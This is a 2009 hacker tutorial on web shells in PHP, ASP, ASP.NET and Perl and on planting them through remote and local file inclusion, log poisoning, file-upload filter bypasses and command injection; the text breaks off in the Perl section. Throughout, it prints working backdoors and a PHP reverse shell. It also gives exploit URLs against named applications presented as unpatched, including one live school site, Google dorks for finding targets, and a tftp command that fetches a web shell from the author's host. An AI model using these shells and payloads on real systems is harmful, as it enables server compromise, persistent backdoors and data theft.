Web Shells

In PHP, ASP, JSP, Perl, And ColdFusion

by Joseph Giron 2009

joseph.giron13@gmail.com

Web shells come in many shapes and sizes. From the most complex of shells such as r57 and c99 to something you came up with while toying around with variables and functions. This paper is to discuss ways of uploading and executing web shells on web servers. We will discuss web shells for: PHP, ASP, Java, Perl, and ColdfFusion. A lot of these sections look the same because they are essentially the same. In a broad generalization of things, exploiting java is no different from exploiting Perl - we're watching certain variables and functions. The main emphasis of this paper however will be on ASP and PHP as they are the most common languages used in web applications today. We will also discuss how I've been able to place web shells on web servers in each language, as well as provide vulnerable code to look for to aid on placing a web shell on the box. With that said, lets get this show on the road!

Sections:

############################

Intro to PHP Web Shells

############################

PHP web shells are vital to us hackers if we want to elevate our access or even retain it. They can be viewed as back doors put in place so we don't have t go through exploiting the app again. Getting a web shell on a web server is half the battle, the other half being exploiting the web server in the first place. They go hand in hand. There are a number of pre-made PHP web shells, some with web interfaces, others that can even create a terminal for us to telnet to. For me, I like simplicity. A single liner backdoor like so can be placed into any include file or footer or header on a document and it will get the job done:

```
<?php if($_SERVER['HTTP_USER_AGENT']=="evil1"){echo passthru($_GET['cmd']);} else
{echo " "; ?>
```

My web shell checks for the user agent string to be equal to my handle before executing commands. This keeps others from stealing away my backdoor and also keeps from error messages posting to the user when a blank command is passed (else statement). Though something like this will suffice for passing shell commands to the server, you may want something a little better.

Two Shells come to mind the r57shell by RusH security team and the C99 shell. Both are powerful web shells with binding capabilities, but have the draw back of size, and web application firewalls / AV's pick them up immediately. Also, many variations on the shell have been released, some of them damaging to use. Their advantages are; easy to use, ability to port bind and create shells via a terminal service, built in password protection, automatic checking of PHP settings, and the ability to dump SQL information. Something to note here is that it is more than possible to do all of these things yourself without the use of either web shell, but it does make it convenient. You can get them both to toy with from my here:

http://www.wtfchan.org/~evil1/r57+c99shell.zip

One other shell which I will share comes from http://pentestmonkey.net. It is a reverse shell in php. It essentially opens a terminal shell we can telnet to and execute commands, and its password protected! It even restricts who can connect to it by IP address. For the sake of space, I removed the comments. You can download the version with comments here: http://pentestmonkey.net/tools/php-reverse-shell

```
<?php

error_reporting(E_ALL);

ini_set('display_errors', '1');

//set_time_limit (0);

$VERSION = "6.6.6";

$ip = '192.168.1.5'; // CHANGE THIS

$port = 8001; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {
```

```
exit(0); // Parent exits

}

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);
```

```
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
```

```
if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);
```

```
function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>
```

If your port binding shell doesn't work for whatever reason, don't fret! We can still pass commands the old fashioned way with system, exec, shell_exec, passthru, etc.

Something else I should mention is the use of hardened PHP patches on the box you are attacking. These patches will attempt to block out certain functions from being used such as system, or exec. If you ever encounter an error message that says "This function has been disabled for security purposes", hit up php.net and try other functions to execute code. Try Eval() instead of system(). Before we conclude this section, I bet you didn't know you could run evaluated PHP code with the preg_match() statement did you? Yes sir, the /e flag will evaluate your string, much like eval(). Try that one out next time a bunch of functions are disabled for security reasons, they might have missed that one!

Now we move to some ways to get our web shell on a box. There are 3 main ways in PHP. First is via an RFI, next is with an LFI, and thirdly is via a poorly guarded file upload scheme.

##################

RFI's in PHP

##################

RFI's (Remote File Includes) are a dying breed of vulnerabilities. Changes to PHP in version 5 make them nearly obsolete unless PHP is configured to allow them. The Fopen URL line determines whether or not they work. In PHP 4 however, Fopen URL is enabled by default and we can exploit them. Many servers still run PHP 4, so RFIs remain fair game to us hackers. But how do we know what to look for? Typically for file inclusion vulnerabilities to exist, we need to control the variable that include() or require() is utilizing. I go into more detail on PHP exploitation in my PHP auditing paper, but for now, I'll show you what one looks like.

The following is something I grabbed from the Nuked-Klan PHP-Portal (Nuked-klan.org). It demonstrates a Remote File Include. Its still an 0day so go nuts! Can you spot the bug?

```
<?php

// -------------------------------------------------------------------------//

// Nuked-KlaN - PHP Portal //

// http://www.nuked-klan.org //

// -------------------------------------------------------------------------//

// This program is free software. you can redistribute it and/or modify //

// it under the terms of the GNU General Public License as published by //

// the Free Software Foundation; either version 2 of the License. //

// -------------------------------------------------------------------------//

include("nuked.php");

include ("Includes/constants.php");

global $nuked, $language, $theme, $bgcolor1, $bgcolor2, $bgcolor3;

if (ereg("\.\.", $theme) || ereg("\.\.", $language))

{

die("<br /><br /><br /><div style=\"text-align: center;\"><big>What are you trying to do
?</big></div>");

}



$theme = trim($theme);

$language = trim($language);

include ("themes/" . $theme . "/colors.php");
```

```
translate("lang/" . $language . ".lang.php");

$ip_ban = $_GET['ip_ban'];

$sql = mysql_query("SELECT texte FROM " . BANNED_TABLE . " WHERE ip = '" . $ip_ban
. "'");

list($texte_ban) = mysql_fetch_array($sql);

$texte_ban = stripslashes($texte_ban);

$texte_ban = htmlentities($texte_ban);

$texte_ban = BBcode($texte_ban);

setcookie("ip_ban", "$ip_ban", time() + 9999999, "", "", "");
```

Specifically include ("themes/" . $theme . "/colors.php"); Notice how $theme is declared as a global variable. If register globals was enabled (on by default in php4, off in php5), we could pass a web shell to the page via a remote file and it would be included as a variable hence the name remote file include.

How would you exploit this assuming you're attacking a php4 box or a php 5 box with fopen url available to you? Like so: Assume this page was ban.php

http://www.siteexample.com/includes/ban.php?theme=http://www.mysite.com/lolwut.txt

My site would of course contain a file named lolwut.txt and that would be my web shell. How is it executed? Well include() as well as require() will evaluate any text file, regardless of extension as php code if it contains php. For the sake of simplicity, my web shell will be my one liner:

```
<?php echo passthru($_GET['cmd']); ?>
```

Not much of a web shell, but it gets the job done.

Note: these techniques cover looking for both local file includes and remote file includes covered in the next section.

What if we don’t have source code? There are a nunber of techniques I use to find RFI’s in PHP blackbox syle I use google, and I use common sense. For starters, lets cover google. If I’m attacking a particular site, I use a query string like “site:http://www.example.com” From there, I look for variables that would likely be expliotable in a php application. Example google queries include:

Site:example.com “.php” “file=”

Site:example.com “.php” “folder=”

Site:example.com “.php” “lang=”

Site:example.com “.php” “path=”

Site:example.com “.php” “style=”

Site:example.com “.php” “template=”

Site:example.com “.php” “PHP_PATH=”

Site:example.com “.php” “doc=”

Site:example.com “.php” “document=”

Site:example.com “.php” “document_root=”

Site:example.com “.php” “pg=”

Site:example.com “.php” “pdf=”

This is just a short list, but they’re the most common ones I run into. What do we do once we have a potential target? W produce errors as error messages are a web hacker’s best friend. How? Well in php, I’ll typically try inserting data where it shouldn’t be. A single qote in from of a file path, a null byte in a numerical value, an overly long interger, or a series of ../ to attempt to traverse directories. Assuming I’m working with an RFI, I also try send the variable in question looking at my site with my web shell on it.

Say I run into the following website:

http://chs.vail.k12.az.us/index.php?page=sitemap

The error message says it cannot find /html/sitemap.html. I can guesstimate that index.php is including a GET variable and appending .html to the end. How would you exploit this? For starters, I would try and get the page to include something like /etc/passwd or the boot.ini file in the root directory.

We can cut our time in half by skipping directly to the error messages. The kind of error messages I'm looking for from php are warning messages. I can google those as well. Say I'm looking for weak file calls:

Site:example.com ".php" "WARNING: Fopen("

This also works for inclusion errors. We can really narrow down our searches by looking for failure to include strings like:

Site:example.com ".php" "WARNING" "include|include_once|require|require_once"

What do the error messages look like? Heres one:

Warning: include(HTML/$DOC_ROOT/inc.db.php) [function.include]: failed to open stream: No such file or directory in **/usr/local/www/coolbro.com/index.php** on line **200**

Error messages like these are helpful. They tell us where something messed up, and help point us to which variables we might be able to exploit to remotely (or locally) include a file. In this case, its $DOC_ROOT. Now we move on to a more common vulnerability in PHP – local file includes.

##################

###LFI's in PHP###

##################

Local File Includes are more common than remote file includes but are just as dangerous. We can still view the source to server side document and even execute code. Unlike RFI's LFI's are local to the box and we cannot use a remote web shell (hence the name local). Local File Includes should not be confused with weak fopen calls in which you can read any file in the file system. You can tell the difference bwteen the two when reading files. a weak fopen call will let you read the source code to server side documents, while include() tries to execute them.

The beauty of local file includes is that they work on both php4 and php5 - there is no fopen url line to protect against them, its up to the programmer. While there are ways to lock down a php installation such as disabling certain functions and applying hardening patches, there are a number of functions available to us to circumvent these restrictions. I remember once I was messing around on a demo CMS and it let me edit the templates and execute php code, but many functions were disabled - even fopen(). I was able to bypass this security measure by using file_put_contents() and readdir() to deface both the demo page and the main page.

What does a local file include look like? Just like a remote file include, except the variable we control doesn't have to be global. As long as we control the file being included, we can execute code and get a web shell on the box. Now for a live 0day example:

I found this in CK-Gallery 1.20.0 http://code.web-geek.net/ck-gallery/ under ck-gallery.php

```
// *** START PAGE CACHING ***

// Create cache directory if it doesn't exist

$cacheDir = "gallery-cache";

if (!file_exists($cacheDir)) {

mkdir($cacheDir);

}

$cacheFile = "$cacheDir/page$currentPage-cached.html";

$cacheTime = $cacheExpire * 60;

// Serve from the cache if it is younger than $cacheTime

if (file_exists($cacheFile) && time() - $cacheTime < filemtime($cacheFile) && $cacheExpire
>= 1) {

include($cacheFile);

echo "<!-- Cached page: created ".date('H:i:s', filemtime($cacheFile))." / expires ".date('H:i:s',

(filemtime($cacheFile)) + $cacheTime)." -->\n";

} else {

ob_start();

// Page varriables

$totalImages = count($images);

if ($imgPerPage <= 0 || $imgPerPage >= $totalImages) {
```

```
$imgStart = 0;

$imgEnd = $totalImages;

} elseif ($imgPerPage > 0 && $imgPerPage < $totalImages) {

$totalPages = ceil($totalImages / $imgPerPage);

if ($_GET['page'] < 1) {

$currentPage = 1;

} elseif ($_GET['page'] > $totalPages) {

$currentPage = $totalPages;

} else {

$currentPage = $_GET['page'];
```

See the error? $currentPage is assigned to a GET variable. We can control this. To pour salt on a wound, it also echos the data back to us. In this example, we would exploit the page like so:

http://www.examplesite.com/ck-gallery.php?page=2lol%3C?php%20phpinfo%28%29;%20?%3E

And it would print execute phpinfo(). Cool huh?

What if the local file include doesn't echo back to us? What if we want to execute code else where? This is where log file injection comes into play. This attack was shown to me by a friend of mine a few months ago and I've used it over and over since. Log file injection in the case of a local file include would be injecting php code into http variables, then including the log file. It's quite clever when you think about it. Take this typical apache access.log entry:

```
192.168.1.9 - - [04/Aug/2009:07:38:30 -0700] "GET /wowrp/includes/wowarmory/style.php
HTTP/1.1" 200 660
```

We have an IP address, a date, the request, the response, and the content length. Since we could really only control 1 or 2 of these variables, 1 of them being the content length, the request variable will have to do. We could place our code in the http request at any part and it would stay in the log file until we include it.

Our injections are not limited to just the access log, we could also go after the error.log.

```
[Mon Aug 03 07:45:23 2009] [error] [client 127.0.0.1] File does not exist:

C:/xampp/htdocs/wowrp/templates/default/style/images, referer:
http://127.0.0.1/wowrp/templates/default/style/calendar.css
```

Since we can control the referrer variable, it would be in ideal place to place our backdoor php code. How would we place the code in? By requesting a page that isnt there and placing our code in the http request. http://www.example.com/lol/<?php%20phpinfo();?>/somepah/nothere.txt This would of course 404 and our code would be placed in the log file. All we would have to do then is guess the location of the log files (provided below).

We already know (or should) that Apache, Nginx, and Lighttpd all support log files. Here are some common places to find web server log files though sometimes you can find them in the home directory of a website for shared host web servers:

```
/apache/logs/error.log

/apache/logs/access.log

/apache/logs/error.log

/apache/logs/access.log

/apache/logs/error.log

/apache/logs/access.log

/etc/httpd/logs/acces_log
```

```
/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache2/access_log

/var/log/apache/access.log

/var/log/apache2/access.log

/var/log/access_log

/var/log/access.log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache2/error_log

/var/log/apache/error.log

/var/log/apache2/error.log

/var/log/error_log

/var/log/error.log
```

Note this isn't a full list, this is just what I've run into myself. Going back to my previous LFI example on ckgallery, to exploit its log files, we would pass http://www.example.com/lol/<?php%20phpinfo();?>/somepah/nothere.txt to the web server and it would 404 showing up in the error logs. We would then attempt to include the log and our code should be executed:

http://www.examplesite.com/ck-gallery.php?page=/usr/local/apache/logs/access.log

If you ever try the error log injection trick and find it not working, remember that it takes anywhere from a minute to a week for error logs to roll over or even be visible. Take it from experience, sometimes it takes a minute for a hack to work right.

###################################

File Upload Vulnerabilities

###################################

File upload vulnerabilities make having a web shell easier than ever. Do you remember the old FCKEditor bug of 2005? I do! All you had to do was google "/editor/browser/" and you could abuse the file uploader example that came with FCKEditor. Throw up a shell and BAM, own the site / server. If you think this kind of thing doesn't happen anymore, YOU'RE WRONG! Many websites with upload capabilities still rely on client side validation (javascript). These are easiest to bypass and allow you to upload a web shell with little or no work at all.

Most file upload apps will typically have some sort of protection in place such as a whitelist / blacklist of allowed / disallowed file extensions. While white lists are the more secure method of protecting file upload apps, you'd be surprised how many times they utilize a blacklist. How do you bypass a blacklist? Try the less used file extensions. The FCKEditor bug comes to mind again. It didn't allow .php file to be uploaded, but I could still upload .php3 files. Here is a list of alternate extensions listed by language:

- PHP: .phtml, .php, .php3, .php4, .php5, and .inc
- ASP: .asp, .aspx
- Perl: .pl, .pm, .cgi, .lib (note, .pm and .lib cannot be called directly, but rather invoked as modules)
- JSP: .jsp, .jspx, .jsw, .jsv, and .jspf
- ColdFusion: .cfm, .cfml, .cfc, .dbm (if IIS is configured right)

As you can see, PHP has a few more options for running code, but that doesn't mean we cant exploit a file uploading application some other way. We can still do Null byte injection, which I will cover later in this section.

When attacking weak file upload applications, the first ting I always check for is if the application is checking the last 3 characters in the file extension or the entire file name. Say I picked a file name like lol.looooool.php.jpg the web server would interpret the file as being a php file, but the application might interpret the file as a jpeg and happily accept it. There are other variations on this technique, but the premise is the same. Say I pass the following file to a file upload application: somethingwithareaaaaaaaaaaaaaaaaallly.jsp.looooooooong..name......and...periods....jpg. The extra periods and long file name could throw off the blacklist code. Since we initially called the file as a JSP script, the web server would follow suite and execute the document as a java server page while . Don't be afraid to try different combinations.

Another popular method for attacking file upload applications is null byte injection. Many scripting languages are derivatives of the C language. They interpret the null byte (0x00 in ascii) as the end of a string. A well placed null byte can throw off many filters and file countermeasures. How? Havent you been paying attention? If an application thinks a null byte if the end of a file, we can have a null byte plus the real extension and the file will be passed like nothing is wrong. Examples:

thisisarealjpeg.jpg%00lol.cfm

heyguisewutsgoin%00on.asp%00hi.jpg

Once again, you'll have to play around with it. You could also try the line feed byte %0A in hex to bypass a filter in place. Or you could take it one step further than use all ascii hex codes for a file name, hell even unicode. You could get lucky!

How do we find file upload vulnerability targets? Google can help us. We can dork for targets using a number of query strings.

Site:example.com “upload” inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com “resume” inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com “careers” inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com job oppertunities inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com “gallery” inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com send file inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com update picture inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com new skin inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com new page inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

Site:example.com new photo inurl:”.aspl.aspxl.pll.phpl.cgil.jspl.cfml.cfml”

These should yield you some results. Now for more language specific stuff.

######################

Web Shells in ASP

######################

ASP which stands for Active Server Pages was microsofts solution to the server side language world. While not an actual language like php, but rather a mark up language template for which other languages run, ASP is the defacto standard for many older web applications running on IIS. When I say its not a real language, I mean there are 2 main languages that run on ASP's behalf - jscript and Visual Basic. Then there is the newer ASP supported by the dot net framework, ASPX. Same concept as ASP, except more a richer framework. Rather than being limited to VB and Jscript, we have C#, J#, VB.net, and even C++.net. I will present the use of 2 different shells. The classic ASP shell works on newer versions of ASP so I like to think of it as the defacto standard as far as asp shells go. The other is more dot net oriented and only works on the newer ASP versions. To date, I don't really know of any security groups that release ASP web shells, so I had to build these both from scratch.

Classic ASP with VB utilizes the Wscript.Shell object and the methods it supports. The following creates the Wscript object and allows us to pass commands to it:

```
<%

Set command = Request.QueryString("lol")

if command == "" then

Response.Write("No Command Entered!");

else

Set objWShell = CreateObject("WScript.Shell")

Set objCmd = objWShell.Exec(command)

strPResult = objCmd.StdOut.Readall()

set objCmd = nothing: Set objWShell = nothing

Response.Write(strPResult)

end if

%>
```

Now for a brief run down of the code. Set command = Request.QueryString("lol") assigns the GET'd variable 'lol' to 'command'. Set objWShell = CreateObject("WScript.Shell") creates our shell object. Set objCmd = objWShell.Exec(command) executes the command stored in our query string. strPResult = objCmd.StdOut.Readall() stores the output from the command shell in a string (strPResult). set objCmd = nothing: Set objWShell = nothing just does some variable and object clean up. Response.Write(strPResult) simply spits out the command we executed. Sometimes however, you may run into an IIS configuration that disables the Wscript.Shell object and you may need to go around it. If this is the case. you'll have to just get by with the FilesSystemObject.

```
<%

Response.Write("Full directory path is: <br /><strong>")

Response.Write(Server.MapPath("."))
Response.Write("</strong><br />")

ourfile = Request.QueryString("file")

if ourfile == "" then

Response.Write("No file specified!")

else

SUB ReadDisplayFile(FileToRead)

ourfile=server.mappath(FileToRead)

Set fs = CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.OpenTextFile(ourfile, 1, False)

tempSTR=thisfile.readall

response.write(tempSTR)

thisfile.Close

set thisfile=nothing

set fs=nothing

end sub

end if

%>
```

Quick, dirty, and to the point, just the way I like it. In the first line, I show the full path to the currently executing script to make it easier to locate files to mess with. Next the code grabs the file name and stores it in the variable 'ourfile'. From there I call my stupid sub procedure which attempts to grab the real path of the file passed to it. The code then creates our FileSystemObject so we can open / read the file. We then read the file and output it into another variable. Finally the file is read back to us and we clean up our variables. What a mouthful.

Classic ASP shells are fine and dandy, but what about ASP dot net? Even though I would advise you try the classic shell whenever possible, sometimes you need something for newer servers. This dot net app is something I threw together rather quickly. Nothing fancy here, just emulates a cmd.exe shell. I chose C# because I have a personal hatred of VB. It even has error checking!

```
<%@ Import Namespace="System" %>

<%@ Import Namespace="System.Diagnostics" %>

<script language="C#" runat="server">

private void doit(object sender, EventArgs e)

{

try {

System.Diagnostics.Process p = new Process();

p.StartInfo.CreateNoWindow = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = "%systemroot%\\system32\\cmd.exe";

p.StartInfo.Arguments = "/c " + txtcmd.text;

p.Start();

string output = p.StandardOutput.ReadToEnd();

message.text = output.text;

}

catch (Win32Exception e)

{

if(e.NativeErrorCode == ERROR_FILE_NOT_FOUND)

{

message.text = e.Message;

}
else if (e.NativeErrorCode == ERROR_ACCESS_DENIED)

{

message.text = "Access DENIED!";

}

}

}</script>

<form ID="Form1" runat=server>

Command: <asp:TextBox id=txtcmd Runat=server />

<asp:Button Text="Submit" OnClick="doit" Runat=server />

<asp:Label id=message ForeColor="#ff0000" Runat=server />

</form>

</body>

</html>
```

Not much really to explain here. I created some process objects (Process Object) and passed the contents back to the user. Use it wisely. What conclusion would be complete without some usable shells? Heres an ASP shell with a form:

http://www.wtfchan.org/~evil1/cmdasp.asp.txt

##

###Command Execution Vulnerabilities in ASP###

##

Rarely do will you encounter ASP applications that directly run commands on the system, but when you do, the first thing to try is to execute your own commands. Since ASP almost always runs on IIS / windows, assume you're working with a dos shell. Referring back to our web shell, we know what the code looks like to execute commands. That being said if wee control any part of the variable being executed, we might be able to execute our own stuff. Example:

```
<%

Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll"

Set objWShell = CreateObject("WScript.Shell")

objWShell.Exec(command)

%>
```

In this case, we control part of what is being executed in the string. How could we exploit it? We could use the semi colon character to add the current command within the same execution. Normally, when you pass a command to a dos shell it executes things one at a time. Passing a semicolon allows you to have more than 1 command in the process's execution screen. So the exploitable URL would look like this:

http://www.example.com/hithere.asp?lol=user32;IISRESET;

This will reset the IIS server, annoying when you're an admin and have to turn it back on. Also in case you are wondering why I'm only using GET variables, its because they're easier to show example URLs for. In ASP, a POST'd variable is obtained via request.form().

Semi colons aren't our only weapon. We could also attempt to null terminate the string and start our own command. As stated earlier in the paper, %00 is the null byte and signifies the end of a character string. Another tactic is to use the pipe character '|'. Unlike the semicolon, the pipe | clears the screen as soon as the previous command is done doing something. Using our previous example with rundll32.exe, we can make the code execute a new program all together:

http://www.example.com/hithere.asp?lol=user32|dir%20>%20./dirlist.txt|more%20dirlist.txt

In this example. we're using the pipe character to start our new command 'dir' then using the redirection operator '>' to output our shell's results to a text file, then are echo'ing the files contents. Like all previous examples, you should toy with them to get your code to execute. How would you get a web shell on a windows box using just command prompt? TFTP! Using the built in trivial file transfer protocol normally used for updating router firmware, we can download our stuff web shell from one of our FTP sites. Here is the syntax and how we'll plug it into our example:

```
tftp -i ftp.mysite.net GET webshell.asp .\nothingtoseehere.asp
```

http://www.example.com/hithere.asp?lol=user32|tftp%20-i%20ftp.mysite.net%20GET%20webshell.asp%20.\nothingtoseehere.asp|

Since you probably won't have source code to the application you are attacking we should cover some black box techniques for ASP. First and foremost, we want some error messages. I'm told RFIs are possibe in ASP, but I've never run into one, so as for finding them in a blackbox sense, the same rules would apply as for php, with the exception of the error messages. A typical ASP error message looks like the following in ASP classic:

```
Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cint'

/volunteer/detail.asp, line 17
```

The first line is the type of error indicated by the 32 bit address code. The next line is a bit more detailed about the error that occurred. The last line tells us where the application broke. Unfortunately for us, when an error like this occurs, the page is set not to cache, so we won't have much luck using google to find error pages. We can however use google to find potential bugs in ASP applications using the same list in the PHP section replacing .php with ".asp|.aspx|.dll". The .dll is for ISAPI extensions which usually involve some asp code to handle the exported functions. If you're like me, you're too lazy to scroll up, so here we are again with the google queries:

Site:example.com ".asp|.aspx|.dll" "file="

Site:example.com ".asp|.aspx|.dll" "folder="

Site:example.com ".asp|.aspx|.dll" "lang="

Site:example.com “.asp|.aspx|.dll” “path=”

Site:example.com “.asp|.aspx|.dll” “style=”

Site:example.com “.asp|.aspx|.dll” “template=”

Site:example.com “.asp|.aspx|.dll” “doc=”

Site:example.com “.asp|.aspx|.dll” “document=”

Site:example.com “.asp|.aspx|.dll” “document_root=”

Site:example.com “.asp|.aspx|.dll” “pg=”

Site:example.com “.asp|.aspx|.dll” “pdf=”

Site:example.com “.asp|.aspx|.dll” “print=”

What do we do once we have a target from google? I generally try and insert the name of a the currently executing script to see if it will error out and give me source code. For example, say I have a page like so:

http://www.example.com/stuff/downloads/download.asp?file=Slayer.mp3

First thing I’ll do is try and get the script to execute itself like so:

http://www.example.com/stuff/downloads/download.asp?file=./download.asp

If it doesn’t error out and lets me either download the server side code or view it in the page source, I’ll know I have either an inclusion or file operations vulnerability on my hands. Assuming it works, I will then try and get the file to grab a remote file on one of my servers like so:

http://www.example.com/stuff/downloads/download.asp?file=http:///somesite.com/test.txt

I’d then check the source code of the page to see if the contents of the file included are visible. If they are, I have a remote file include. If it doesn’t the script should error out and give me an idea as to what I’m dealing with function wise. Back to what I was saying about ASP error messages. The following is a list of exploitable VBScript Runtime errors.

- Object variable not set: Worth investigating to see if we can control the variable.
- An exception occurred: Useful for general interest as to what is screwing up.
- Named argument not found:Also useful to investigate to see if we control this argument.
- Variable is undefined: Maybe we could control the unitialized variable?

How do we produce error messages in ASP applications? If error messages are enabled, then just about any bad input will do. Null bytes, single quites, large integers, and slashes do the job. Its up to you to find trace the error messages to a vulnerable page.

The previous text covered ASP classic, but what about ASPX and .NET? Generally, the same rules apply, but the error messages are different. Heres what an ASPX error message looks like when I attempt tp put html in the URL and Request.Validate gets mad at me:

Server Error in '/NewsRoom' Application.

A potentially dangerous Request.QueryString value was detected from the client (id="...3333333333<br>111111111111").

Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.QueryString value was detected from the client (id="...3333333333<br>111111111111").

Source Error:

```
An unhandled exception was generated during the execution of the current web
request. Information regarding the origin and location of the exception can
be identified using the exception stack trace below.
```

Stack Trace:

```
[HttpRequestValidationException (0x80004005): A potentially dangerous
Request.QueryString value was detected from the client
(id="...3333333333<br>111111111111").]
   System.Web.HttpRequest.ValidateString(String s, String valueName, String
collectionName) +240
   System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection
nvc, String collectionName) +99
   System.Web.HttpRequest.get_QueryString() +113
   System.Web.UI.Page.GetCollectionBasedOnMethod() +84
   System.Web.UI.Page.DeterminePostBackMode() +128
   System.Web.UI.Page.ProcessRequestMain() +2112
   System.Web.UI.Page.ProcessRequest() +218
   System.Web.UI.Page.ProcessRequest(HttpContext context) +18
System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep
.Execute() +179
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&
completedSynchronously) +87
```

Version Information: Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2407

A very descriptive error message if I may say so myself. It tells us exactly what screwed up, shows us a desriptive stack trace including what code was called, and at the bottom even tells us what version of .NET the site is running. You can apply the same rules for attacking ASP classic to attacking .net.

Now to move on to ASP's oldest counter part, Perl.

########################

###Webshells in Perl###

########################

Ahh Perl, its been around since the dawn of browser based internet and is the bastard cousin of PHP. Web shells in perl are easy to produce. Furthermore, like the php shell I showed earlier perl can also go beyond the web shell aspect and create a terminal you can telnet to. Source will be provided, but as a web link (I don't want to fill the whole article with perl). Perl has 4 ways of executing commands passed by a user. They are: exec, system, open and the backtick operators ``. For whatever reason, only the backtick operators and open() allow you to echo back the result. Now for examples:

#!/usr/bin/perl

```
#web shell using backticks

use CGI;

my $cgi = new CGI;

my $command = $cgi->param('cmd');

if($command eq "")

{

$command = "pwd";

}

$result = `$command`;

print $result;

exit;
```

And now using open()

```
#!/usr/bin/perl

#web shell open

use CGI;

my $cgi = new CGI;

my $command = $cgi->param('cmd');

if($command eq "")

{

$command = "pwd";

}

open lol, "/bin/sh $command|" or die "Failed to open pipeline";
```

```
while(<lol>) {

print;

}

exit;
```

I found it less buggy to use backticks, but its up to you which version you want to use. Now for a brief description of the program code. First we declare the program as a perl document with #!/usr/bin/perl. Then we declare some objects for cgi and declare some variables. my $command = $cgi->param('cmd'); sets the variable 'command' to the GET'd variable 'cmd'. A funny thing about perl is that $cgi->param() functions with both GET and POST variables unlike other languages which make the

distinction between the 2 requests. The code then checks to see if the command string is null filling it with 'pwd' if it is. It then passes the command to the backtick operators which executes the command and then prints the result. In the other version instead of using the backtick operators, the code uses open() with a handle to the process being read, then the command is passed as part of the string to /bin/bash to be executed. Then the output is printed.

Web shells are nice and all, but what if you want something more involved? How does a full blown password protected shell terminal shell that you can telnet to sound? Awesome indeed. There are 2 I've come into possession of. One is password protected while the other restricts by IP. If you don't want your tracks to be known, I'd stick with the password protected reverse shell I've hosted the file on one of my websites. Just remember to rename the extension as .pl.

http://www.wtfchan.org/~evil1/PassProt-perl-reverse-shell.txt

http://www.wtfchan.org/~evil1/IPProt-perl-reverse-shell.txt

Now we will discuss with examples, how to exploit some perl code to get us a shell on a box.

##

###Command Execution Vulnerabilities in Perl###

##

Now its time to discuss exploiting perl to get a shell on a box. I think it's best practice to learn by example, so lets get to it. I grabbed this from a state run web site. If you can't spot the vulnerability, slap yourself in the face.

```
use CGI qw(:standard escapeHTML);

require "./scotmisc.lib";

require "./admin.lib";



$cgi = new CGI;

GetCGIvars();

httpHeader();

if ( ! $key ) {

print "0:bad params";

exit;

}

if ( ! $password || $password ne "magic") {

print "0:bad params";

exit;

}

system("getkey getkey.txt $key $number");

